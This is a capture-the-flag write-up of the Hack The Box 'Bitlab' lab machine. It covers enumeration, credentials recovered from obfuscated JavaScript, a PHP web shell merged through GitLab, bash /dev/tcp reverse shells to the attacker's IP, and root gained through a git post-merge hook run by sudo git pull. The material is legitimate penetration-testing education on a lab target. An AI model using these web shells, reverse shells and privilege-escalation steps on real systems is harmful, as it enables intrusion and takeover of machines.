---
search:
  exclude: true
---
# Bitlab Writeup

![](img/45.png)

## Introduction :

Bitlab is a Medium linux box released back in September 2019.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
    
      [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB]
      → sudo nmap -vvv -sTU -p- 10.10.10.114 --max-retries 0 -Pn --min-rate=500 | grep Discovered
      [sudo] password for nothing:
      Discovered open port 80/tcp on 10.10.10.114
      Discovered open port 22/tcp on 10.10.10.114
    
      [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB]
      → nmap -sCV -p22,80 10.10.10.114
      Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-29 17:43 BST
      Nmap scan report for 10.10.10.114
      Host is up (0.091s latency).
    
      PORT   STATE SERVICE VERSION
      22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
      | ssh-hostkey:
      |   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
      |   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
      |_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
      80/tcp open  http    nginx
      | http-robots.txt: 55 disallowed entries (15 shown)
      | / /autocomplete/users /search /api /admin /profile
      | /dashboard /projects/new /groups/new /groups/*/edit /users /help
      |_/s/ /snippets/new /snippets/*/edit
      | http-title: Sign in \xC2\xB7 GitLab
      |_Requested resource was http://10.10.10.114/users/sign_in
      |_http-trane-info: Problem with XML parsing of /evox/about
      Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
      Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
      Nmap done: 1 IP address (1 host up) scanned in 12.18 seconds
    

## **Part 2 : Getting User Access**

Our nmap scan picked up port 80 running nginx so let's check it out:

![](prg/45_001.png)

So here we can see a gitlab login page which is essentially a way to manage git repos in a more private manner than using a standard github repository. However our nmap scan also picked up some interesting stuff hinting us towards robots.txt so we check it out:
    
    
    
      [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB]
      → curl -sk http://10.10.10.114/robots.txt
      # See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
      #
      # To ban all spiders from the entire site uncomment the next two lines:
      # User-Agent: *
      # Disallow: /
    
      # Add a 1 second delay between successive requests to the same server, limits resources used by crawler
      # Only some crawlers respect this setting, e.g. Googlebot does not
      # Crawl-delay: 1
    
      # Based on details in https://gitlab.com/gitlab-org/gitlab-ce/blob/master/config/routes.rb, https://gitlab.com/gitlab-org/gitlab-ce/blob/master/spec/routing, and using application
      User-Agent: *
      Disallow: /autocomplete/users
      Disallow: /search
      Disallow: /api
      Disallow: /admin
      Disallow: /profile
      Disallow: /dashboard
      Disallow: /projects/new
      Disallow: /groups/new
      Disallow: /groups/*/edit
      Disallow: /users
      Disallow: /help
      # Only specifically allow the Sign In page to avoid very ugly search results
      Allow: /users/sign_in
    
      # Global snippets
      User-Agent: *
      Disallow: /s/
      Disallow: /snippets/new
      Disallow: /snippets/*/edit
      Disallow: /snippets/*/raw
    
      # Project details
      User-Agent: *
      Disallow: /*/*.git
      Disallow: /*/*/fork/new
      Disallow: /*/*/repository/archive*
      Disallow: /*/*/activity
      Disallow: /*/*/new
      Disallow: /*/*/edit
      Disallow: /*/*/raw
      Disallow: /*/*/blame
      Disallow: /*/*/commits/*/*
      Disallow: /*/*/commit/*.patch
      Disallow: /*/*/commit/*.diff
      Disallow: /*/*/compare
      Disallow: /*/*/branches/new
      Disallow: /*/*/tags/new
      Disallow: /*/*/network
      Disallow: /*/*/graphs
      Disallow: /*/*/milestones/new
      Disallow: /*/*/milestones/*/edit
      Disallow: /*/*/issues/new
      Disallow: /*/*/issues/*/edit
      Disallow: /*/*/merge_requests/new
      Disallow: /*/*/merge_requests/*.patch
      Disallow: /*/*/merge_requests/*.diff
      Disallow: /*/*/merge_requests/*/edit
      Disallow: /*/*/merge_requests/*/diffs
      Disallow: /*/*/project_members/import
      Disallow: /*/*/labels/new
      Disallow: /*/*/labels/*/edit
      Disallow: /*/*/wikis/*/edit
      Disallow: /*/*/snippets/new
      Disallow: /*/*/snippets/*/edit
      Disallow: /*/*/snippets/*/raw
      Disallow: /*/*/deploy_keys
      Disallow: /*/*/hooks
      Disallow: /*/*/services
      Disallow: /*/*/protected_branches
      Disallow: /*/*/uploads/
      Disallow: /*/-/group_members
      Disallow: /*/project_members
    

Unfortunately this is most likely a rabbithole so instead let's view the timestamps of any file hosted on this nginx instance, using wget and exiftool:
    
    
    
      [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB]
      → curl -sk http://10.10.10.114
      You are being [redirected](http://10.10.10.114/users/sign_in).
      [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB]
      → curl -sk http://10.10.10.114/users/sign_in | grep href
      
      
      
      
      
      
      
      
      Sign in
      [Forgot your password?](/users/password/new)
      [Explore](/explore)
      [Help](/help)
      [About GitLab](https://about.gitlab.com/)
    
      [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB]
      → wget http://10.10.10.114/assets/logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg
      --2020-04-29 17:52:22--  http://10.10.10.114/assets/logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg
      Connecting to 10.10.10.114:80... connected.
      HTTP request sent, awaiting response... 200 OK
      Length: 2475 (2.4K) [image/svg+xml]
      Saving to: ‘logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg’
    
      logo-d36b5212042cebc89b96df4bf6ac24e43d 100%[===============================================================================>]   2.42K  --.-KB/s    in 0s
    
      2020-04-29 17:52:22 (66.5 MB/s) - ‘logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg’ saved [2475/2475]
    
    
      [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB]
      → exiftool logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg
      -bash: exiftool: command not found
    
      [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB]
      → exiftool logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg
      ExifTool Version Number         : 11.94
      File Name                       : logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg
      Directory                       : .
      File Size                       : 2.4 kB
      File Modification Date/Time     : 2018:12:29 10:18:08+00:00
      File Access Date/Time           : 2020:04:29 17:52:22+01:00
      File Inode Change Date/Time     : 2020:04:29 17:52:22+01:00
      File Permissions                : rw-r--r--
      File Type                       : SVG
      File Type Extension             : svg
      MIME Type                       : image/svg+xml
      Image Width                     : 210
      Image Height                    : 210
      View Box                        : 0 0 210 210
      SVG Version                     : 1.1
      Xmlns                           : http://www.w3.org/2000/svg
      Title                           : Slice 1
      Desc                            : Created with Sketch.
      Image Size                      : 210x210
      Megapixels                      : 0.044
    

And here we see that this file has a file modification date of december 2018 so if we were to look for public exploits, we would need to look for exploits that have been published after this date for them to be relevant on this box. One sidenote is, that you should use wget in this instance instead of downloading it through firefox because firefox will invariably timestamp the file you download. So in order to enumerate the webserver further we'll use gobuster:
    
    
      [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/_HTB/Bitlab]
      → gobuster dir -u http://10.10.10.114 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -t 50
      ===============================================================
      Gobuster v3.0.1
      by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
      ===============================================================
      [+] Url:            http://10.10.10.114
      [+] Threads:        50
      [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
      [+] Status codes:   200,204,301,302,307,401,403
      [+] User Agent:     gobuster/3.0.1
      [+] Timeout:        10s
      ===============================================================
      2020/04/29 17:58:44 Starting gobuster
      ===============================================================
      Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.114/ebf2edd7-9c49-43ec-8782-b6f64e0293e2 => 302. To force processing of Wildcard responses, specify the '--wildcard' switch
    
    

Here we see that gobuster hits a 302 status code which is an [URL redirection status code](https://en.wikipedia.org/wiki/HTTP_302) The problem is that gobuster has no way of detecting this so we'll use burpsuite instead:

![](prg/45_002.png)

Send it over to the repeater: 

![](prg/45_003.png)

And there we can see that we are being redirected if we try to reach a page that doesn't exist so from here we have to specify which status codes we want from our gobuster scan using the -s scan:
    
    
    
    
      [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/_HTB/Bitlab]
      → gobuster dir -u http://10.10.10.114 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -t 50 -s  200,204,301,307,401,403
      ===============================================================
      Gobuster v3.0.1
      by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
      ===============================================================
      [+] Url:            http://10.10.10.114
      [+] Threads:        50
      [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
      [+] Status codes:   200,204,301,307,401,403
      [+] User Agent:     gobuster/3.0.1
      [+] Timeout:        10s
      ===============================================================
      2020/04/29 18:26:47 Starting gobuster
      ===============================================================
      /help (Status: 301)
      /profile (Status: 301)
      /search (Status: 200)
      /public (Status: 200)
      /root (Status: 200)
      /explore (Status: 200)
      /ci (Status: 301)
      Progress: 5257 / 220561 (2.38%)
    

Almost immediately gobuster finds a few interesting webpages, the first one we'll check here is /help:

![](prg/45_004.png)

Here we see something interesting which is that the Gitlab Login link is in fact just a bunch of javascript , so we can copy the link : 
    
    
      javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()
    

Which seems to be some javascript obfuscated code, so we can use some [javascript prettifier](https://beautifier.io) to make it readable, but we can do the same from inside our terminal using vim's :%s function 
    
    
      :%s/;/\r/g
    
    

This is so in order to change the \r into newlines: 

![](prg/45_005.png)

Then we'll use the firefox developer console to de-obfuscate this javascript:

![](prg/45_006.png)

So here we see some credentials: clave:11des0081x, now we can obviously de-obfuscate the other 2 lines with this deobfuscated javascript array which contains all the info we need:
    
    
      function(){
              0: "value"
              1: "user_login"
              2: "getElementById"
              3: "clave"
              4: "user_password"
              5: "11des0081x"
    
              document[getElementById](user_login)[value]= "clave"
              document[getElementById](user_password)[value]= "11des0081x"
       })()
    

These are basically some hardcoded javascript credentials, this is sadly a technique used by many companies to this day which, if you de-obfuscate their javascript code you may reveal some sensitive information which should simply not happen, obviously we can see the values 1 and 4 in the sign_in page:

![](prg/45_007.png)

The idea behind this javascript is that whoever did this could simply bookmark it and it would basically autocomplete for them. Obviously just purely obfuscating such javascript is not going to make it secure in any sense, so let's login : 

![](prg/45_008.png)

So once logged in we get a dashboard but on a side note, we get a particular cookie, and if we look at gobuster's options, we see that we can specify a cookie string: 
    
    
    
      [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB/Bitlab]
      → gobuster dir --help | grep cookie
        -c, --cookies string                Cookies to use for the requests
    

` ![](prg/45_009.png)

So we take the cookie from here (F12 > Storage > cookies > _gitlab_session) and give it to gobuster: 
    
    
      gitlab_session=f06332b0a90aebcab0245f5e0e4de0e8
    

And now with this authenticated cookie, gobuster is able to find some more files,
    
    
      [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/_HTB/Bitlab]
      → gobuster dir -u http://10.10.10.114 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -t 50 -s  200,204,301,307,401,403 -c "_gitlab_session=f06332b0a90aebcab0245f5e0e4de0e8"
      ===============================================================
      Gobuster v3.0.1
      by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
      ===============================================================
      [+] Url:            http://10.10.10.114
      [+] Threads:        50
      [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
      [+] Status codes:   200,204,301,307,401,403
      [+] Cookies:        _gitlab_session=f06332b0a90aebcab0245f5e0e4de0e8
      [+] User Agent:     gobuster/3.0.1
      [+] Timeout:        10s
      ===============================================================
      2020/04/29 19:14:19 Starting gobuster
      ===============================================================
      /help (Status: 301)
      /profile (Status: 301)
      /search (Status: 200)
      /public (Status: 200)
    

so looking at the dashboard: 

![](prg/45_010.png)

Heading over there, settings are just a broken page, however when we head over to the profile page we see the timestamp we got earlier using wget and exiftool: 

![](prg/45_011.png)

Heading over to snippets, we see some postgresql database credentials 

![](prg/45_012.png)

So we could use those credentials, but first let's head over to the administrator profile gitlab webpage and we could potentially check it's history for interesting commits but there's not so much to see here.

![](prg/45_013.png)

So let's take a look at the other gitlab user which is "deployer" which has an interesting index.php file:

![](prg/45_014.png)

This basically tells us that a potential www-data user can execute a git pull command as the root user on this index.php And we also know that git has got a bunch of POST hook commands which allows you to do git push, merge, clone etc. So since we are logged in as the "clave" user we can create a new branch, and place our reverse php shell there, and hopefully get a shell onto the box, the problem is that we don't know which php commands are blacklisted most importantly the system command, the file_get_contents commands, the exec(); commands and so on. so we want to add a simple echo statement at the beginning to make sure our php file is being executed:
    
    
    <****?php
      echo "nihilist";
      system($_REQUEST['pr0metheus']);
    ?****>

This php file we created should get merged on the master branch as we have been hinted to do so earlier on: 

![](prg/45_015.png) ![](prg/45_016.png)

Merge the request to the master branch, and go there, you should see our reverse php shell there: 

![](prg/45_017.png)

So once it's uploaded we can simply try to execute commands with it : 
    
    
    
      [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB/Bitlab]
      → curl -sk http://10.10.10.114/profile/reverse.php
      nihilist  
    
      **Notice** :  Undefined index: pr0metheus in **/var/www/html/profile/reverse.php** on line **3**  
    
        
    
      **Warning** :  system(): Cannot execute a blank command in **/var/www/html/profile/reverse.php** on line **3**  
    
    
      [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB/Bitlab]
      → curl -sk http://10.10.10.114/profile/reverse.php?pr0metheus=id
      nihilistuid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    

So here we can see that we have some Remote Code Execution as www-data, 
    
    
    
      [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB/Bitlab]
      → curl -sk http://10.10.10.114/profile/reverse.php?pr0metheus=bash -c 'bash -i >& /dev/tcp/10.10.14.11/9001 0>&1'
      nihilist
    

Now here the problem is that even though with a ncat listener , we don't get a reverse shell connection, that is because we are doing a GET request with curl, so instead we'll go for the POST request alternative: 

![](prg/45_018.png)

Once we interecepted our request and sent it to the repeater (CTRL+R) and went there (CTRL+SHIFT+R) we'll then change the request to a post request, (right click > "change request method") and paste a bash reverse shell one liner as our pr0metheus variable which gives us the following request: 
    
    
      POST /profile/reverse.php HTTP/1.1
      Host: 10.10.10.114
      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Language: en-US,en;q=0.5
      Accept-Encoding: gzip, deflate
      DNT: 1
      Connection: close
      Cookie: _gitlab_session=f06332b0a90aebcab0245f5e0e4de0e8; sidebar_collapsed=false; event_filter=all
      Upgrade-Insecure-Requests: 1
      Cache-Control: max-age=0
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 66
    
      pr0metheus=bash -c **'bash -i > & /dev/tcp/10.10.14.11/9001 0>&1'**
    

And obviously do not forget to url encode the highlighted line which is our reverse shell one liner: 

![](prg/45_019.png)

And we get a reverse shell ! Now let's upgrade it to a fully interactive reverse shell:
    
    
    
      [ 10.10.14.11/23 ] [ /dev/pts/7 ] [~]
      → nc -lvnp 9001
      listening on [any] 9001 ...
      connect to [10.10.14.11] from (UNKNOWN) [10.10.10.114] 40284
      bash: cannot set terminal process group (1107): Inappropriate ioctl for device
      bash: no job control in this shell
      www-data@bitlab:/var/www/html/profile$ which python
      which python
      /usr/bin/python
      www-data@bitlab:/var/www/html/profile$ python -c 'import pty;pty.spawn("/bin/bash")'
      www-data@bitlab:/var/www/html/profile$ ^Z
      [1]+  Stopped                 nc -lvnp 9001
    
      [ 10.10.14.11/23 ] [ /dev/pts/7 ] [~]
      → stty raw -echo
    
      [ 10.10.14.11/23 ] [ /dev/pts/7 ] [~]
      → nc -lvnp 9001
                     reset
      reset: unknown terminal type unknown
      Terminal type? ^C
      www-data@bitlab:/var/www/html/profile$ export SHELL=bash
      www-data@bitlab:/var/www/html/profile$ export TERM=xterm-256color
      www-data@bitlab:/var/www/html/profile$ l
      Display all 103 possibilities? (y or n)
      www-data@bitlab:/var/www/html/profile$ ls
      .git/          README.md      index.php
      .htaccess      developer.jpg  reverse.php
    

What we did here was: 
    
    
    -get the reverse shell connection
    -check if python was there on the box
    -spawn a tty shell using python's pty library
    -backgrounding our shell process (CTRL+Z)
    -typing "stty raw -echo"
    -typing "fg" which puts our shell process back in the foreground
    -typing in "reset"
    -responding with a CTRL+C to the unexpected "Terminal type ?" question
    -exporting both our SHELL and TERM variables
    

And from there we have our fully interactive reverse shell as www-data. 

## **Part 3 : Getting Root Access**

Now that we have our fully interactive reverse shell as www-data, we can start poking around the box some more:
    
    
    
      www-data@bitlab:/var/www/html/profile$ ls
      .git/          README.md      index.php
      .htaccess      developer.jpg  reverse.php
      www-data@bitlab:/var/www/html/profile$ cat /etc/hosts
      127.0.0.1       localhost
      127.0.1.1       bitlab  bitlab
    
      # The following lines are desirable for IPv6 capable hosts
      ::1     localhost ip6-localhost ip6-loopback
      ff02::1 ip6-allnodes
      ff02::2 ip6-allrouters
    
      www-data@bitlab:/var/www/html/profile$ cat /etc/passwd
      root:x:0:0:root:/root:/bin/bash
      daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
      bin:x:2:2:bin:/bin:/usr/sbin/nologin
      sys:x:3:3:sys:/dev:/usr/sbin/nologin
      sync:x:4:65534:sync:/bin:/bin/sync
      games:x:5:60:games:/usr/games:/usr/sbin/nologin
      man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
      lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
      mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
      news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
      uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
      proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
      www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
      backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
      list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
      irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
      gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
      nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
      systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
      systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
      syslog:x:102:106::/home/syslog:/usr/sbin/nologin
      messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
      _apt:x:104:65534::/nonexistent:/usr/sbin/nologin
      lxd:x:105:65534::/var/lib/lxd/:/bin/false
      uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
      dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
      landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
      pollinate:x:109:1::/var/cache/pollinate:/bin/false
      statd:x:110:65534::/var/lib/nfs:/usr/sbin/nologin
      sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
      vboxadd:x:999:1::/var/run/vboxadd:/bin/false
      clave:x:1000:1000::/home/clave:/bin/bash
    
      www-data@bitlab:/var/www/html/profile$ ls -lash /home
      total 12K
      4.0K drwxr-xr-x  3 root  root  4.0K Feb 28  2019 .
      4.0K drwxr-xr-x 24 root  root  4.0K Dec 31  2018 ..
      4.0K drwxr-xr-x  4 clave clave 4.0K Aug  8  2019 clave
    

Apparently clave is the only user on this box so we have to find a way to privesc to him. However let's not forget, earlier on we saw the php script which could execute a git pull command as root from a potentially low privilege user such as www-data, so we run sudo -l to check if it is true:
    
    
    
      www-data@bitlab:/var/www/html/profile$ sudo -l
      Matching Defaults entries for www-data on bitlab:
          env_reset, exempt_group=sudo, mail_badpass,
          secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
      User www-data may run the following commands on bitlab:
          (root) NOPASSWD: /usr/bin/git pull
    
    

So it looks like we were right, now we just have to head over to the .git directory and find the hook directory
    
    
    
      www-data@bitlab:/var/www/html/profile$ ls -lash
      total 124K
      4.0K drwxr-xr-x 3 root root 4.0K Apr 29 18:58 .
      4.0K drwxr-xr-x 5 root root 4.0K Jul 30  2019 ..
      4.0K drwxr-xr-x 8 root root 4.0K Apr 29 18:58 .git
      4.0K -rw-r--r-- 1 root root   42 Feb 26  2019 .htaccess
      4.0K -rw-r--r-- 1 root root  110 Jan  4  2019 README.md
       92K -rw-r--r-- 1 root root  91K Jan  5  2019 developer.jpg
      8.0K -rw-r--r-- 1 root root 4.1K Jan  4  2019 index.php
      4.0K -rw-r--r-- 1 root root   61 Apr 29 18:58 reverse.php
      www-data@bitlab:/var/www/html/profile$ cd .git
      www-data@bitlab:/var/www/html/profile/.git$ ls -lash
      total 60K
      4.0K drwxr-xr-x  8 root root 4.0K Apr 29 18:58 .
      4.0K drwxr-xr-x  3 root root 4.0K Apr 29 18:58 ..
      4.0K -rw-r--r--  1 root root  317 Apr 29 18:58 FETCH_HEAD
      4.0K -rw-r--r--  1 root root   23 Jan  4  2019 HEAD
      4.0K -rw-r--r--  1 root root   41 Apr 29 18:58 ORIG_HEAD
      4.0K drwxr-xr-x  2 root root 4.0K Jan  4  2019 branches
      4.0K -rw-r--r--  1 root root  266 Jan  4  2019 config
      4.0K -rw-r--r--  1 root root   73 Jan  4  2019 description
      4.0K drwxr-xr-x  2 root root 4.0K Jan  4  2019 hooks
      4.0K -rw-r--r--  1 root root  369 Apr 29 18:58 index
      4.0K drwxr-xr-x  2 root root 4.0K Jan  4  2019 info
      4.0K drwxr-xr-x  3 root root 4.0K Jan  4  2019 logs
      4.0K drwxr-xr-x 31 root root 4.0K Apr 29 18:58 objects
      4.0K -rw-r--r--  1 root root  114 Jan  4  2019 packed-refs
      4.0K drwxr-xr-x  5 root root 4.0K Jan  4  2019 refs
      www-data@bitlab:/var/www/html/profile/.git$ cd hooks
    

Taking a look at the githooks manpage: 
    
    
      man githooks
    
    

We are hinted towards creating a post-merge hook in this directory, so let's try to do so:
    
    
    
      www-data@bitlab:/var/www/html/profile/.git/hooks$ touch post-merge
      **touch: cannot touch 'post-merge': Permission denied**
    
      www-data@bitlab:/var/www/html/profile/.git/hooks$ ls -lash
      total 56K
      4.0K drwxr-xr-x 2 **root root** 4.0K Jan  4  2019 .
      4.0K drwxr-xr-x 8 **root root** 4.0K Apr 29 18:58 ..
      4.0K -rwxr-xr-x 1 **root root**  478 Jan  4  2019 applypatch-msg.sample
      4.0K -rwxr-xr-x 1 **root root**  896 Jan  4  2019 commit-msg.sample
      4.0K -rwxr-xr-x 1 **root root** 3.3K Jan  4  2019 fsmonitor-watchman.sample
      4.0K -rwxr-xr-x 1 **root root**  189 Jan  4  2019 post-update.sample
      4.0K -rwxr-xr-x 1 **root root**  424 Jan  4  2019 pre-applypatch.sample
      4.0K -rwxr-xr-x 1 **root root** 1.7K Jan  4  2019 pre-commit.sample
      4.0K -rwxr-xr-x 1 **root root** 1.4K Jan  4  2019 pre-push.sample
      8.0K -rwxr-xr-x 1 **root root** 4.8K Jan  4  2019 pre-rebase.sample
      4.0K -rwxr-xr-x 1 **root root**  544 Jan  4  2019 pre-receive.sample
      4.0K -rwxr-xr-x 1 **root root** 1.5K Jan  4  2019 prepare-commit-msg.sample
      4.0K -rwxr-xr-x 1 **root root** 3.6K Jan  4  2019 update.sample
    

And we get permission denied because everything in this directory is owned by the root user. However we can simply copy the profile folder elsewhere where we have writing access, such as /tmp, For this example we'll use the /dev/shm alternative
    
    
    
      www-data@bitlab:/var/www/html/profile/.git/hooks$ cd ..
      www-data@bitlab:/var/www/html/profile/.git$ cd ..
      www-data@bitlab:/var/www/html/profile$ cd ..
      www-data@bitlab:/var/www/html$ mdir /dev/shm/nowhere
      bash: mdir: command not found
      www-data@bitlab:/var/www/html$ mkdir /dev/shm/nowhere
      www-data@bitlab:/var/www/html$ cp -r profile/ /dev/shm/nowhere/
      www-data@bitlab:/var/www/html$ ls -lash /dev/shm
      total 0
      0 drwxrwxrwt  3 root     root       60 Apr 29 19:36 .
      0 drwxr-xr-x 19 root     root     3.9K Apr 29 08:15 ..
      0 drwxr-xr-x  3 www-data www-data   60 Apr 29 19:36 nowhere
    

And as you can see, since we copied the entire directory recursively it has not been able to preserve the root only writing rights, which means that us (www-data) can write to it. So let's do it:
    
    
    
      www-data@bitlab:/var/www/html$ cd /dev/shm/nowhere/
      www-data@bitlab:/dev/shm/nowhere$ cd .git/
      bash: cd: .git/: No such file or directory
      www-data@bitlab:/dev/shm/nowhere$ cd profile
      www-data@bitlab:/dev/shm/nowhere/profile$ cd .git
      www-data@bitlab:/dev/shm/nowhere/profile/.git$ cd hooks/
      www-data@bitlab:/dev/shm/nowhere/profile/.git/hooks$ touch post-merge
      www-data@bitlab:/dev/shm/nowhere/profile/.git/hooks$ chmod +x touch-merge
      chmod: cannot access 'touch-merge': No such file or directory
      www-data@bitlab:/dev/shm/nowhere/profile/.git/hooks$ chmod +x post-merge
      www-data@bitlab:/dev/shm/nowhere/profile/.git/hooks$ vi post-merge
    

And from there we can spawn a shell using vi: 
    
    
      #!/bin/bash
    
      bash -c 'bash -i >& /dev/tcp/10.10.14.11/9002 0>&1'
      ~
      ~
      ~
      ~
      ~
      :wq
    

Save it, then execute said git pull to update the repository 
    
    
    
      www-data@bitlab:/dev/shm/nowhere/profile/.git/hooks$ vi post-merge
      www-data@bitlab:/dev/shm/nowhere/profile$ clearooks$ cd ../..
      www-data@bitlab:/dev/shm/nowhere/profile$ ls
      README.md  developer.jpg  index.php  reverse.php
      www-data@bitlab:/dev/shm/nowhere/profile$ sudo git pull
      Already up to date.
    
    

Obviously there's nothing to pull, everything is already up to date, so we need to commit something:

![](prg/45_020.png)
    
    
    
      www-data@bitlab:/dev/shm/nowhere/profile$ sudo git pull
      Already up to date.
      www-data@bitlab:/dev/shm/nowhere/profile$ cat .git/config
      [core]
              repositoryformatversion = 0
              filemode = true
              bare = false
              logallrefupdates = true
      [remote "origin"]
              url = ssh://git@localhost:3022/root/profile.git
              fetch = +refs/heads/*:refs/remotes/origin/*
      [branch "master"]
              remote = origin
              merge = refs/heads/master
    

Looking at the .git/config file we see that it is running a ssh command on port 3022, which means that it doesn't matter if we copy the entire repository in an other directory, whatever has to get pulled will be pulled from the same place. And in this case; git@localhost:3022/root/profile.git So we just have to do a git pull, which will be executed as root, and hopefully we'll have root access on the box.
    
    
      [ 10.10.14.11/23 ] [ /dev/pts/6 ] [~]
      → nc -lvnp 9002
      listening on [any] 9002 ...
      connect to [10.10.14.11] from (UNKNOWN) [10.10.10.114] 35796
      root@bitlab:/dev/shm/nowhere/profile# id
      id
      uid=0(root) gid=0(root) groups=0(root)
      root@bitlab:/dev/shm/nowhere/profile# cat /home/clave/user.txt
      cat /home/clave/user.txt
      1eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      root@bitlab:/dev/shm/nowhere/profile# cat /root/root.txt
      cat /root/root.txt
      8dXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

And that's it ! We have been able to print out both the user and the root flags. 

## **Conclusion**

Here we can see the progress graph :

![](img/45_graph.png)

